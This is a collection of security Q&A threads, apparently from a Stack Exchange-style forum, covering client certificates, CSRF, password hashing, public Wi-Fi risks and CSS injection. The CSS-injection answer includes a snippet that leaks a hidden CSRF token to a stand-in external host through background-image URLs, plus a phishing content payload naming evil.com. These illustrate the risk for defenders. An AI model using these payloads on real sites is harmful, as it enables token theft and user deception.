Do client certificates need to be trusted by the client? I'm looking for some clarification around the trust requirements (if any) of client certificates.

I'm working with a third party to access their services via Mutual TLS.

I generate a CSR, send it to the third-party, they send me a certificate (which they've generated using their own CA). It's a single certificate. I haven't been provided with any intermediate certificates - as I'm assuming you don't need these to issue client certificate authenticated requests.

When I attempt to connect with this certificate, I get a handshake failure:

openssl s_client -connect the-server.com:443 -cert the-cert.pem -key the-key.pem -state
CONNECTED(00000003)
SSL_connect:before/connect initialization
SSL_connect:SSLv2/v3 write client hello A
SSL_connect:SSLv3 read server hello A
depth=2 /C=US/O=VeriSign, Inc./OU=VeriSign Trust Network/OU=(c) 2006 VeriSign, Inc. - For authorized use only/CN=VeriSign Class 3 Public Primary Certification Authority - G5
verify error:num=20:unable to get local issuer certificate
verify return:0
SSL_connect:SSLv3 read server certificate A
SSL_connect:SSLv3 read server certificate request A
SSL_connect:SSLv3 read server done A
SSL_connect:SSLv3 write client certificate A
SSL_connect:SSLv3 write client key exchange A
SSL_connect:SSLv3 write certificate verify A
SSL_connect:SSLv3 write change cipher spec A
SSL_connect:SSLv3 write finished A
SSL_connect:SSLv3 flush data
SSL3 alert read:fatal:handshake failure
SSL_connect:failed in SSLv3 read finished A
78460:error:14094410:SSL routines:SSL3_READ_BYTES:sslv3 alert handshake failure:/BuildRoot/Library/Caches/com.apple.xbs/Sources/OpenSSL098/OpenSSL098-59/src/ssl/s3_pkt.c:1145:SSL alert number 40
78460:error:140790E5:SSL routines:SSL23_WRITE:ssl handshake failure:/BuildRoot/Library/Caches/com.apple.xbs/Sources/OpenSSL098/OpenSSL098-59/src/ssl/s23_lib.c:185:

I'm being told that it's failing as: 'the pem files do not contain the public CA certs that signed the client certificate' however if this was the case, would the client even send the certificate (as it appears to be doing so in the TLS negotiation steps above) if it was the case that it needed to trust it?

Do client certificates need to be trusted by the client?

No, the client certificate is only validated by the server and the server certificate only by the client. Thus any kind of trust regarding the client certificate or its signing CA is only needed at the server.

... It's a single certificate, with no intermediate
... the pem files do not contain the public CA certs that signed the client certificate

I would suggest that the first statement is wrong, i.e. that the certificate you got was actually signed by an intermediate CA and you did not include the necessary chain certificates. The root certificates itself should not be send because these have to reside as trusted at the side which is doing the validation, i.e. the server in case of client certificates.
I would suggest that you'll find out which CA they have as pre-trusted at the server side and compare this with the issuer of your certificate. If they don't match then chain certificates are missing. If they match than it might be a problem with the setup on the server side, i.e. that they don't have the necessary CA configured as trusted by the server for client authentication.


Tracking a user account Hi
I suspect a former employee of the company I work for still have access to the servers, in fact I’m sure he does.  When he left the company in December he neglected to remove his personal files from one of our servers.  I contacted him and made him aware of it.  When I checked the folders I saw that the files where no longer there.

Doing a search on the hard-drives for files modified over that period revealed that the folders have been modified by a user (it’s just a string of numbers - not the domain\username as what it normally looks like).  I've send the number to our IT department, and they just shrugged and said the user account that does not exist.  According to the date the folder was accessed by this user account, it was some time in the evening, when I know nobody else would’ve have been connected to that server.

This all happened in the past 2 days.
My question: where do I go to get more info on this user account?  Is there a log kept that shows the user and what action was taken?

The machine is running Windows Server 2003 SP1.  I remote connect to it.

If he was a sysadmin, you can no longer rely on anything on that box, as he may have had the capability to change anything.

You should escalate this to your IT or incident response team - the damage may not be confined to them just deleting evidence, a sensible precaution may be to wipe and rebuild the box, depending on its sensitivity.

If you have backups or audit logs, the incident response team should request them to be preserved. You should list a timeline of everything that was done, including all emails with the individual etc.

The incident response team should also be able to get the correct individuals involved to look at the legal standpoint - it may or may not be worthwhile progressing with an investigation, but that is a business call, not an IT call.


What does the message mean and is it not safe to pay online at this website? The issue occurs on Opera 45.0.2552.812 Stable Linux 64-bit with browser identification

  Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
  Chrome/58.0.3029.81 Safari/537.36 OPR/45.0.2552.812

A web shop (will not tell the name so as not to compromise them in case this is an issue on my side) has a field for entering credit card information (name, expiration date, cvc). When I click any of the fields, Opera displays a combobox-style dropwdown below the field reading "Payment not secure!". At the same time I see a "Content blocked" message in the  right end of the address bar. When I click that message and choose to enable said insecure content, I can see that the page is not HTTPS, and clicking the globe in the left part of the address bar, the attached popup is displayed.

What does the information mean and should I refrain from making a payment on that website?

Attached screenshot: https://ibin.co/3QBcZNR12iG3.png

Edit:

The "Payment not secure!" warning appears only after I enable the insecure content in the address bar. Until I do it, thee is no warning whatsoever when entering information into the credit card fields.

It's hard to offer anything other than "theories" without analyzing the actual code, but this appears likely:

It is a page delivered over https.
Some of it loads over http. Something with href= "http://..."
This is enough for Opera to a) block the content +and+ show "content blocked" message.
As long as the http content is blocked, the rest of the rendered page is safe - hence you don't see an "insecure content" warning. BTW, most browsers do render (without blocking, but with/without warning) what they consider "passive content" despite being http (e.g. images).
When you enable the insecure content, then Opera goes ballistic and gives out "insecure content" warnings.

What could go wrong:
Some of the active insecure content on the page has access to the DOM - i.e., every bit of information you entered - including your credit card details. This is bad news because unless you dig deeper, you won't know whether that access is abused. So in general, you assume the worst (even if it is just a dumb oversight by a programmer) and don't risk your info. Of course, if you feel confident about your analytical skills, you could analyze the insecure content - make sure it isn't loading more code at runtime and then decide whether its safe. For most peeps, that's a bit too much when all they want is to buy some fidget spinners. :)

P.S. What I can't reconcile here is your "I can see that the page is not https". That doesn't reconcile with the screenshot too (where you do see a cert), so I'm guessing that you meant that the page is not "100% https".


SYN scan, determining scan vs large file upload In a system attempting to detect SYN scans, one technique is to analyze the rate of change of (network packets sent from victim host per second). Processes such as uploading a large file would not be "detected" as belonging to the SYN scan because the rate of change would remain constant. But when a SYN scan is happening, the rate of change is high. I don't fully understand why it is really any higher, I get that the person scanning is sending small raw packets to multiple ports and thus the victim host is in a small instant sending back many responses.

So I guess say you are poking 200 ports simultaneously, sending say raw packets of size 20 to each port, your rate of change is 4000. How come you can't attempt to upload a file at that same rate? I guess what I don't get is why this rate of change is restricted for large files but not for many small files equaling the same size essentially.

When you're performing a syn scan, most ports are going to have one of two results.  If the port is firewalled and configured to silently drop, no packets will be returned for most ports, so you'll see very close to 0/t packets returned.  If you aren't silently dropping you will see 1 RST packet for every SYN.  You will have very close to a 1:1 ratio of sent to received.

If you do a large file upload via TCP, the connection will be ACKd every w packets, where w is the size of the tcp window, so you will have very close to a 1/w sent to received packet ratio, where normally w << t.


Double Submit Cookie: Can the attacker set the cookie as a separate header? I’m using an HttpOnly cookie to store authentication token client-side. To mitigate some of the risks of CSRF attacks, I’m employing the Double Submit Cookie pattern. The same token is saved client-side as a separate header with the same value, and both get sent for subsequent requests when the user is logged in.

My question: Obviously the attacker will send the HttpOnly cookie when performing a CSRF attack, but can they set a separate authorization header whose value is identical to the HttpOnly cookie, even though he can’t read the cookie’s value?

Note: I’m aware of the limitations and workarounds pertaining to DSC.

I think you're asking the wrong question.  Here is my question for you:

What's the point in creating an HTTP-only cookie if you're also storing the cookie contents outside of the secure cookie?

The whole point of making a cookie HTTP-only is that it secures the cookie contents from theft.  In the event of an XSS attack, an attacker can make requests on behalf of the user, but they can't outright steal the credentials - limiting the scope and timescale of the attack (in particular, the attacker will likely lose access as soon as the user navigates to a different page).

If you also are sending your cookie contents down to the app to store in a separate way, then the HTTP-only flag on your cookie is now pointless because in the event of an XSS attack, the attacker can steal the user's access credentials in from wherever else you are storing it, since only HTTP-only cookies provide any protection against credential theft in an XSS attack.

There are many effective methods to stop CSRF attacks.  As a result, if you are considering a method that also weakens another layer of security, then the answer is, quite simply, you're doing it the wrong way.

Is there a reason you aren't considering CSRF tokens or custom headers?  The former are the norm and are perfectly secure, so unless you have a compelling reason not to use them, then just do it that way.  If for some reason that isn't possible for you then you can fall back on custom headers, although that isn't ideal.


Full Disk Encryption with GPT disk support On my old computer I used Truecrypt full disk encryption.  My old computer however was running Windows 7 with a standard MBR partition scheme.  I recently got a new laptop with the fancy UEFI support.  Yes I know I could always reinstall Windows as legacy BIOS with MBR support however I would like to keep GPT\UEFI.  Truecrypt does not work with UEFI yet.  Neither does PGP full disk encryption.

Does anyone know of a good (prefer free) full disk encryption solution that supports GPT.

I know I could always use Bitlocker but for some reason I do not trust it considering the whole NSA scandal.

I don't think you're completely right on the TC/GPT issue. According to their documentation for V4.3:

  Support for devices with a GPT partition table (GUID partitions).  (Windows Vista/2003/XP)

The problem is that Windows 8 have to have GPT partitioning, so you'll have to run TC in legacy 32 bit mode. So it should work fine if you don't have UEFI BIOS or are using the legacy boot mode.

However, if you're ready to pay for it, then Jetico's BestCrypt Volume Encryption may be the best choice, although there are certainly many others out there as well. (I didn't look.)

http://www.jetico.com/products/personal-privacy/bestcrypt-volume-encryption

You also have Symantec Drive Encryption formerly 'PGP Disk encryption'.

http://www.symantec.com/drive-encryption/pricing


Protecting SQL username and password information when connecting via R or Python? Let's say I have R or Python scripts which connect to a SQL database using SQL authentication on a schedule. In the scripts, one way or another, the username/password must be passed through the functions of RJDBC (in R) or SQLAlchemy (in Python). What is the best way to protect these passwords from an outsider who gains access to the server and scripts?

If you fear that the server is compromised and the attacker gets access to the scripts you need to store the passwords outside of the scripts where the attacker has no access. If this is possible depends on the kind of attack you expect:

If you expect only a limited attack where the attacker gets only limited access to a few data then you might store the credentials in a file where the script user has access but not the attacker.
If instead you expect a full compromise then you need to store the credentials on a different system. But it will be hard to make the script then make automatically use these remote credentials. It might be possible to automatically feed the credentials from remote into your application but how this is done depends on your specific environment and use case.


Is it safe to publish a private CA's root and intermediate certificates? Context: We have a private certification authority in my company. We are provisioning VMs in our private cloud which will need to trust SSL certs issued by this CA, i.e. they will need the cert chain installed and trusted. Since provisioning is fully automated, we are committing the .pem of the cert chain (consisting of the Root and one intermediate cert) to a private Git repository. As always, even though the repo is private, the risk of exposure exists.

Question: If said certificate chain is inadvertently made public for any reason, does this expose us to any undue risk?

(I am fairly confident this is fine, but would like to check my sanity against this community, and am hoping the answer will help someone else in the future).

There's a reason they're called "public" keys.  :)  There are hundreds of Root CA certificates bundled with your operating system, etc.  If your attacker can factor your public key, you've already lost.

The only concerns I'd have with a private CA are whether or not you expose information about your internal structure that might be useful to an attacker.  e.g., details about who operates your CA, particular servers that have the CA private keys for signing...


How does police or somebody find out that an Arp Spoofing attack was done? If you watch traffic in real time, you can see that an attacker doing a MiTM attack does ARP spoofing because MAC addresses will be duplicated, etc. And, well, you can see all MAC addresses and see who is a router and check if MAC addresses of the router match.

But what if we know that an attack was done yesterday, for example? How can we find out which MAC address was ARP spoofing and sending fake certificates (let's assume user accepted that)? Let's say an attacker stole some bank account credentials on a site that uses HTTPS. Is it even possible?

Checking logs.  The great secret of dissecting what happened after an attack.  Pouring over logs to find the malicious activity and see what it is. If there are no logs, you can't tell.

Where to look for the logs is also half the battle because depending on the exact nature of the attack, you could need logs from the client, a server or a router or some combination of the 3.  It really depends on how the attack was performed.


Is there a grading standard for security that I can apply to my MVC3 web site? I'm looking for a standardised set of tests or scoring measures I can apply to my web site to be able to quantify it's standard or level of security. I can do some research and compile a check-list myself, but I am hoping there is something standardised, something independent of me that my client and the users of our site will appreciate more than just something I compiled.

It sounds like you might be looking for something like the OWASP ASVS.  It defines four levels of rigor, each of which has an associated set of verification activities.  Once a client has decided the level at which their application should reside, you will have a concrete list of security activities that should be performed to get to that level.


How exactly should I interpret the term "Hybrid Cloud"? The CISSP CBK definition says that a hybrid could is a mix of public and private.
But what exactly does it mean?

Is it more a conceptual idea:If you use both a public and a private your company is a hybrid user

or

You have a single cloud with different logical access and permissions for public usage and private (within the company)

or

Something else?

Look at it from a service perspective instead of from a "cloud" perspective (there is no such thing as a "cloud").

If a service resides partially on a privately held network as well as on a publicly held network, then it's a "hybrid".

For example, I use a security service where I deploy multiple servers within my own network (private "cloud") and the data from those collectors is sent to the vendor's network (public "cloud") for processing and correlation. That's a "hybrid cloud".


comparing password hashing algorithms - PoC ideas? OK so I just started working for a security consulting firm and we recommend SHA 256 (with salt) for password hashing because MD5 is too weak. I have read some brilliant answers (the list is too long!!!) on sec.SE about password hashing over last few months and it would be a sin not to try and prove it to my colleagues and seniors that MD5 and SHA are not suitable for password hashing.

I thought it would be good idea to come up with a PoC (demo databases containing passwords hashed with MD5, SHA 256 and bcrypt and attempting to measure the time taken to generate the hash) accompanied by some standard references.The points that I am willing to make are:

Using SHA 256 over MD5 for password hashing does not improve security .A Password hashing algorithm (bcrypt, PBKDF2) would be a much better choice for storing passwords, of course with unique salts.
Some standard references to support these views. The references are important to support the views.

p.s. I have programming experience but I am a novice when it comes to hardware based password cracking. It's not a "give me teh code" question; I am only asking for ideas and suggestions to make this a better PoC.

Take a list of 1,000 passwords: some trivial (password, cat), some pattern-based (mY$p455w0rd), some random (s%Xn3,0a9aN), and hash them three different ways: MD5 with salt, SHA-256 with salt, and bcrypt.

Use hashcat on the results.


SRI for CSP - how do I get the hash for inline code? I have been messing about with website design for years, but I am no expert - more of a hardware junkie.

CSP is fascinating for me now that I am starting to branch out into web development. I was really battling with hashes for my scripts because I used an online SHA-384 generator & Chrome wouldn't recognise those. Eventually I twigged that Chrome actually supplied 256-bit hashes for me, and I could include those in my .htaccess file - it was just a question of iterating over the pages on my site, grabbing the hashes, and including them in my list of approved scripts & styles.

As I said, I am no coding master, so I have encountered a problem where Chrome doesn't give me the actual hash for a script, trunctating it to sha256..., and I have no clue what script is running (Wordpress). Before you all shout me down, I have built sites without using a CMS, but this is the platform I am working on at the moment.

How do I find the code for the injected script so I can hash it & include it? From Mozilla's docs, I found that a hash should include all white space excluding the "script" tag - I tried that & got nowhere with my FB Pixel code, so I deleted that, perhaps you have an answer for me on that one?

As for the inline injected script - I need to find out how to identify what is being injected, and how to hash it for my CSP.

For a CMS, such as wordpress, I would strongly recommend using a nonce instead of hashes. There is even a plugin for that.

Including too many hashes has performance cost, as the browser has to hash all the scripts to compare the hashes. Also using it on files that change, for example because of updates is not feasible.

If you still want to use it, my only advice can be to look for a way to get the error "untruncted". You can try to shorten the header so that there is more space in the console or try to look into Chrome log files, whether it is there.


How to encrypt packets in network? I have a simple wireless router to share the internet with single access username/password.

I was wondering if it is possible somehow to set packet encryption so that other people on the LAN cannot sniff them?

Low-level encryption, for arbitrary packets, is called a VPN. If your wireless router implements IPsec, you can use that. This will raise a few tricky questions, of course (key management, authentication...).

I doubt many home wireless routers know how to do IPsec natively (peruse the documentation of your own router), but some routers can be reflashed with an alternative firmware who can do it.

If you let hostile people physically plug in your home network, then you may have bigger problems to deal with. For instance wanton degradation by temporarily wiring an ethernet cable with 110V power...

Also, remember that the Internet at large is not a nice place. Encrypting your packets only on your home LAN will protect them against people plugged on that LAN, but only against them. If the data is sensitive, it should benefit from end-to-end protection. In simple words: use only HTTPS Web sites. And if you do, then you don't have to do anything special on the LAN.


Using personal computer on my company's "guest" wifi If I use my personal computer on my company's guest wifi, can they see what I'm browsing?

The company could log what sites you go to and record the traffic, if the connections are not encrypted then they could recover the entire session and know what you did. If you are using https, i.e. TLS to connect then they will only be able to see what sites you went to, not what you actually did, this means you'd want to be careful of what sites you go to.

If you want to make sure they cannot see what you are doing then using something like TOR would be a good choice, however I would recommend you don't violate your employee code of conduct or company's acceptable use policy when on their site, even when using your own computer.


Gmail not logging account activity It seems like Gmail isn't logging full account activity. Recently I had my online account to Paxful hacked.

Today, 11/27 at 5:07, I received an email from Paxful saying that someone requested a password reset link, and at 5:08, another saying that my password had been reset from an IP address registered to a company in Amsterdam, but showing a geolocation in Chicago (149.255.33.155), implying they had clicked on the email link.

I then accessed my detailed Gmail recent account activity, and there were no logs of logins to my Gmail account during that time, 100% positive.

How is this possible? There's no way to reset the password outside of accessing the email. Doesn't Gmail log activity?

Paxful email header:

Message ID <43fc6021b7f399e7e456ef41e6291a92@paxful.com>
Created at: Mon, Nov 27, 2017 at 5:07 PM (Delivered after 28 seconds)
From: Paxful <help@paxful.com>
To: (hidden)@gmail.com
Subject: Password reset at Paxful
SPF: TEMPERROR with IP 184.173.153.56 Learn more
DKIM: 'PASS' with domain paxful.com Learn more
DMARC: 'PASS' Learn more

Was there a log of you accessing your gmail account at that time? If so, were you actually on then? It is possible that if your computer was hacked, they may have been able to check your email automatically using your session, which would not look unusual in the logs.  As a for instance, a malicious browser extension would likely be capable of such a thing. This could also be how they found out about your Paxful account: by accessing your email directly.

Any chance your computer is the source of the compromise? I consider that much more likely than the possibility that someone accessed google without google logging it. Then again, it is hard to determine what exactly might to have happened on the basis of this very little amount of information. There are likely a number of ways this may have happened, up to and including a vulnerability in the password recovery for Paxful.


POP3S vs POP3 with STARTTLS Can you tell me if there are any differences between POP3S and POP3 with STARTTLS?

What's the safest?
Are there any known attacks?
If you could choose about them, which would you pick?

The only difference is that with old-style SSL, it is implied that you will start SSL negotiation immediately upon connection. With STARTTLS, you go through the same process, but only after issuing/receiving a STARTTLS command. The protocols are designed to throw away any information discovered or negotiated before the connection was secured, and start over again from scratch.


Public WiFi behavior Here's an observation: My apartment offers free wifi around the social congregation areas. It is not encrypted BUT as I have observed, each connecting device is confined to its own VLAN (based on MAC address I guess). So you really cannot fiddle with anyone else's data (or can you?)

To start surfing, the user needs to first press an acceptance button, and then only is the Internet activated. But this does not hold for google websites (search, gmail, etc.). I am wondering:

What is the ISP gaining by offering unrestricted access to Google?
Given the security params of this WiFi, is it secure to do bank transactions?
What kind of attacks can be pulled off here? My first impression is MITM is not an option (but please correct me).

To answer your questions:

I would imagine that either the router is just set up that way to be convenient, and so that you can contact help if the thing isn't working. That's my theory, I really have no idea why you would do such a thing. It sounds like a bad security practice to me, but also a purposeful choice.

You really shouldn't be doing your bank transactions on public WiFi, period. It would be nice if this router provided you with an additional layer of security, but in reality you should be doing your banking from access point you control. What if the router itself is compromised?
Whenever you connect to this router, you have no idea whether you are connecting to the real router, a copy cat, or the real router after a compromise. Maybe your comfortable with the risk, but I'd rather take my chance at home.

Man in the middle attacks. All the attacker has to do is to masquerade as the router and let someone connect. If he can't find anybody about to connect, that's fine. He uses a deauth attack to knock everyone off the router, and impersonates it as everyone pops back on. You might not notice yourself popping on and off

Here is a guide (a bit dated) on how this is done. The point is that whatever the router is doing for security, you still have to connect to the darn thing, and that's when you get nailed anyway.
Some people call this one-two punch of deauth and impersonate the "evil twin" attack.
Another thing an attacker would do is simply compromise the router. This isn't as hard as it sounds - many routers have very poor security. The access points will often have weak passwords, or default passwords. Many times custom software from ISPs is of poor quality, and allows remote exploits.
Or you know what, scratch that: How about the attacker just approaches the router, opens up the case and modifies the firmware to do his bidding? No remote exploit needed there. For public WiFi, this is a very real concern.
VLAN's only protect you while your connected to the router. You still have to connect to the thing, and that's where the bad stuff happens. I almost forgot to mention that VLAN hopping is certainly a possibility here:
Why do people tell me not to use VLANs for security?
Remember:

Only use Access Points you trust for critical operations
Always use HTTPS, all the time, under all circumstances, no matter what, or else.


Can name, DOB and ID be PHI? Can a person's name, date of birth and proprietary ID be considered as PHI?

Ex: Joe Doe, 11/25/1955, 45698745236.

Yes, they can - but not only due to name and DOB. Those alone only constitute personally identifiable information (PII).

However, combined with a unique identifier that can be used to link to health information, the data set could be classified as protected health information (PHI). For example, if the proprietary ID is a primary key that links tables in a database (housing PHI), then the combination is PHI. HIPAA states PHI may be but is not limited to 18 different identifiers, including:

Unique identifying number, characteristic, or code
 - This is considered PHI when the assigned code can potentially be linked to individually identifiable health information

Reference: https://www.unthsc.edu/research/protection-of-human-subjects/hippa-guidelines-and-templates/which-identifiers-are-considered-protected-health-information-phi/

I've found best practice is to eliminate as much health-related information as possible and replace DOB with another unique identifier (e.g. masked phone number or email). A good idea in this case is to use only the name and masked phone (e.g. Joe Doe, '''-'''-1234  but that may depend on the use case.


How credible are the rumors that the NSA has compromised IPSec? Part of the Snowden revelations was that the NSA had targeted IPSec.
But I'm having trouble separating FUD from legitimate issues.
How credible is this? Are there ways to use IPSec to be confident against it being broken?
I like IPSec because it's fast and standard, so I'd like to continue using it instead of say, OpenVPN if possible.

There was definitely a backdoor into the IPSec implementation of Juniper appliances. This backdoor was caused by a weak random generator designed for such backdoors.  It is known that this random generator was designed by the NSA. But it is not publicly known who deliberately put this backdoored random generator into the IPSec implementation of Juniper. For more information see for example Researchers Solve Juniper Backdoor Mystery; Signs Point to NSA.
That does not mean that IPSec itself is compromised though, but only this specific implementation. IPSec itself is an open protocol with many implementations. While a cryptographically secure random generator is required for IPSec it is not part of the protocol itself, which also means that the specific backdoored random generator was not part of the IPSec specification. Nothing shows inherent security issues of the IPSec protocol itself.


Node.js http-proxy-middleware: secure connection between servers I have a back-end and a front-end application which are running on two different servers (hosts). To prevent using CORS and simplify the communication, I would like to serve the static front-end with a Node.js application. The requests to the back-end would then be proxied to the back-end application inside the Node.js application. On both sides an HTTPS-secured server is used.

There is a tool called http-proxy-middleware which is able to create a proxy for all requests to the back-end server. I'm using the following script:

var express = require('express');
var proxy = require('http-proxy-middleware');

var options = {
    target: 'https://[server]',
    changeOrigin: true,
    secure: true
};

var exampleProxy = proxy(options);
var app = express();

app.use('/api', exampleProxy);
app.use(express.static(__dirname + "/public"));
app.listen(process.env.PORT || 8080);

As the connection is made over HTTPS and the back-end server is only accepting HTTPS requests, I'm expecting, that this method is secure. But is it? Is there a possible attack vector? Is it possible that the implementation of the http-proxy-middleware leaks data through the HTTPS communication?

In your use case if the TLS is good implemented I don't see any problem.

Sure the most secure way is VPN and full ipsec but I don't know the functionality of your app so maybe it's an overkill.

How all security guys says "It depends" how sensible and interesting is your data on wire.

Anyway I suggest to look in a bit in source code of http-proxy-middleware. What when Node.js is in the question I allways look in source code of packages to prevent possible memory leaks and security leaks.

As Node.js user I suggest to use on every project before deploy https://snyk.io/ it's optional but I do it so I can sleep better and full trust I have only in my code :)


How can brute force scripts tell once they're found the correct key? If you have a random block of data and you encrypt it with a key, how can a brute force script tell when it has found the correct key? Is it possible without some sort of reference to the original plaintext?

In a normal situation, an encrypted piece of data like a file or etc. would have some sort of recognizable structure, so the brute force script would assume the key is correct once it has verified the format of the data or file. However, if the data was completely random with no structure, would it be possible to brute force and encrypted version of the data?

Example: If I had a key which was encrypted with AES-256 using a password and the hash of the key was stored on a server, would you be able to brute force the encrypted key without contacting the server to compare it? This is assuming you have to send the result to the server and the server does not allow downloading the hash.

The reason for my question is if the brute force can not be successful without having something to test against, the only way to do so is to contact the server with the plaintext key hashed to compare against the hash the server already has stored. If this is the case, the server can log the attempt to check the key and freeze the account after 5 tries or so.

Based on my other question: Any issues with this security design for cloud storage? Server doesn't even need to know password to log someone in

In a case where the encrypted data is completely random it could be fairly difficult to tell whether decryption in a brute-force attack has been successful, however real-world attacks are unlikely to be against completely random unknown plaintexts.

Generally it's possible to tell that you've decrypted the data because the result is something which has a meaningful pattern (e.g. has dictionary words in it).  So a script can test for whether there are meaningful words or other patterns known to be present in the plain text data to tell when they have successfully guessed the key.


Can the `system` function pose severe security threats on a shared hosting server? I recently bought an account from a shared hosting company and I needed the php system function to be enabled for one of my projects.
So I created a ticket and asked them to enable it. This is what they responded:

  Enabling the system function poses severe security threats on the entire server. Thus it can not be enabled.

Now I have this question. Are they right? Can I somehow do any harm through the use of functions like system, exec, pssthru etc. ?
The OS is Linux.

The PHP system call simply relays commands to the command line of the OS.  If you don't have command line access to the server you're renting, then you can see the obvious concern with allowing that command, as now you as a developer have access to the command prompt.

However, even if you do have command line access, incorporating the 'system' call into PHP code can do even more damage, as it exposes the command line to any insecurities your web application may have.  Suppose I'm able to carry out an injection or XSS attack on your web application - if I can successfully carry out such an exploit, the probability that I can send commands directly to your web server is extremely high.  Once I'm there, I have entirely compromised your individual web server.

So, in a nut shell, yes, the system call can be incredibly insecure without properly sanitized inputs.


KDC(Key Distribution Center) vs Asymmetric Key Exchange Today I was reading notes about cryptography and I came across a problem that exists in Symmetric Key encryption, which is how to share the secret key across the network.

1st Method :

Make use of the trusted KDC (Key Distribution Center)
Encrypt the key using Public Key technique and exchange the key (e.g., SSL)

My question is which technique is prove to be more effective? Why has SSL implemented method 2? Is it because it's more secure?

KDC is suitable for smaller infrastructures where you place explicit trust into each person or node doing encryption. Each time Alice wants to encrypt a message to Bob, she has to ask KDC for a temporary key to use for encryption. The KDC will also need to provide that temporary key to Bob so he can decrypt the message. You don't want to just give Alice Bob's encryption key, as then she would be able to read all encrypted messages sent to Bob (the nature of symmetric encryption is such that the same key both encrypts and decrypts the message).

As you can imagine, this does not scale beyond local infrastructures, nor is very fault-tolerant. If the Internet relied on KDCs in order to do encryption, it would be easy for attackers to DoS them and kill all commerce on the web -- or at least make it unreliable enough not to bother. This is why browsers went with Public Key cryptography and a framework of mutually trusted certificate authorities (CAs). This has its own set of trade-offs. One, you have to trust that the CAs know what they are doing -- a trust they have repeatedly violated. Two, PKI relies on the hope that we'll never find a fast way to factor the product of two very large prime numbers -- a problem not present in symmetric cryptography. If the likes of Grigory Perelman one day find a way to quickly solve that problem, anyone will be able to obtain the private decryption key from the public encryption key. If that happens, we'll be all in big trouble and will have to come up with some other way for two untrusted parties to exchange encryption keys.

So, to answer your question -- cryptographically, KDCs and symmetric keys are stronger than asymmetric public-private keys, as there is no danger that one day some crazy mathematician will find a way to quickly factor products of large primes. On the other hand, KDCs have inherent problems with key distribution, reliability and ongoing trust that can't be easily solved and therefore KDCs are not suitable beyond local installations where such trust is easy to assure.


If I include a Forgot Password service, then what's the point of using a password? I've implemented a Forgot Password service in the following way:

User goes to login page, clicks on "Forgot password?"
User is presented with a form that asks for their email address.
Email is sent to given address if in the database, with a link that contains a (supposedly) unique, long, randomly generated string, which is also stored in the database along with the time requested, allowing for a time limit to be set on the link (which it is)
User clicks on link, it is validated, they are then asked to provide a new password.

That's fairly standard, (though I could change small aspects of it), but it made me wonder - since good passwords are so infrequently provided/remembered, why not dispense with the password altogether and use the Forgot Password system instead?

User goes to login page, fills out email address (or maybe a username to be more secure?)
Email is sent with link. Link has very short time limit (< 5 mins) validity.
User clicks link, they're in.

In both scenarios, the user's email security - whether sniffed or broken in to - is the common threat, but in the second scenario:

The link is valid for a much shorter time.
It is also likely to be used up more quickly (any sort of validation email can be left alone, but if you definitely want to log in now you're going to use up that link when you get it).
The user doesn't get to provide a shoddy password.
The user only has to remember one password.
A single account can't be shared among several people (unless they share an email address).
An automated attack needs to break in to the email system and wait for an email, which is likely to be longer than the wait for a password to be unhashed i.e. better than bcrypt.

I'm just wondering what are the downsides? I can see:

User irritation, perhaps at having to wait for an email or log in to their email too
It would likely open a new browser window, which can be irritating if you want to organise tabs
A user might realise they have to protect their email account with a better password, change it, and then lock themselves out :-)

It's just a thought.

Thanks to everyone who put forth an answer, there are some really interesting (and definitely valid) points made that have really made me think and given me more areas to investigate. D.W. gets the tick because of the link provided that gives further insight into this particular type of situation, but I really appreciate all the answers given.

That's reasonable. From a security perspective, it is reasonable.  I know some people who never write down their passwords for web servers; they just use the "forgot my password" link every time they want to log in.

From a usability perspective, it might be a bit unfortunate, because email isn't instantaneous.  Users will have to click "Email me", then wait for the email to show up, then click on the link in their email.  Unfortunately, if users have to wait a few minutes (or even just 15 seconds) for the email to show up, they might get annoyed, give up, and go do something else -- or go to your competitor.

A further improvement.   It is possible to improve the idea a little bit further, to reduce the usability impact.  When the user clicks the link in the email, you could set a persistent secure cookie on their browser.  The result is that when the user clicks the link, they're in, and they won't need to go through the rigamarole again in the future on this computer (unless they clear their passwords).  On future visits from the same computer, the site will automatically recognize them and no login or links will need to be clicked.

This is not appropriate/sufficient for high-security services, like online banking, where you need to prevent the user's roommate from logging into their account -- but it might be fine for most web sites.

Evaluation. Here is a research paper that investigates this approach and finds it provides increased security against the attacks evaluated in the paper:

Chris Karlof, J.D. Tygar, and David Wagner.  Conditioned-safe Ceremonies and a User Study of an Application to Web Authentication.  NDSS 2009.


Style attribute XSS without quotes If there is a page that allows user input into the following...

.page
{
    background: #userinput;
}

can it be exploited if <>'" are all filtered? I've seen width: expression(alert(0));, but I couldn't get that to run javascript in IE or Firefox (with filters disabled).

It's definitely not a good idea to put raw user input directly into styles.

Is CSS injection as bad as XSS? No, but there are still problems with it.

Some of these examples below don't apply to you as quotes are required, but I'll include them anyways for readers interested in CSS injection in general, and to show that CSS is more powerful than generally expected, so it's a good idea to properly filter/sanitize/encode user input before placing it in a CSS context.

Changing the Look of a website

This one is rather obvious, but it's something to keep in mind. Do you really want to give an attacker the option to control how your website looks? This of course depends on the kind of website you have, but for some websites - eg banking websites or websites for children - even a reflected CSS attack via which an attacker includes images in the target site may lead to damage to the reputation of the site.

Reading data from a website

An attacker may be able to read out passwords and CSRF tokens and send them to an attacker controlled server. Here is simple example:

<style>
input[value^="a"] + input { background-image: url(http://www.example.com/a); }
input[value^="s"] + input { background-image: url(http://www.example.com/s); }
input[value^="z"] + input { background-image: url(http://www.example.com/z); }
</style>

<input value="secret" type="hidden" name="csrftoken" />
<input type="Submit" />

This can also be done more efficient (see here or here). There are probably other approaches as well, and I wouldn't be too surprised if some of them worked without quotes.

Changing the content of a website

An attacker can also change the existing content of the website, either for defacement reasons, or as a (somewhat unlikely, but still possible) phishing attack:

<style>
p::before {
    content: "Important security update: http://evil.com/update";
}
</style>

<p>
Somewhere a user does not expect user input
</p>

Executing Scripts

There are different ways to execute JavaScript via CSS (expression, url("javascript:, different features and bugs in various browser (eg -moz-binding, htc), etc). I don't think any of the current versions of the popular browsers allow it, but you really can't rely on your users using those.


Can web server have TLS version specific cipher suite configuration? For eg. TLS 1.1  only RC4 suites, TLS 1.2 only GCM suites etc

Also, Can it have Different cipher suite preference order (i.e. different order for different version)?
 eg. RC4 on top of list for SSL 3 and last for TLS 1.0, 1.1 1.2

Does any web server provides such functionality Apache, Nginx, IIS etc?

In theory it would be possible to set the available ciphers and cipher order depending on the TLS protocol version used by the client.
In practice none of the common web servers supports this.

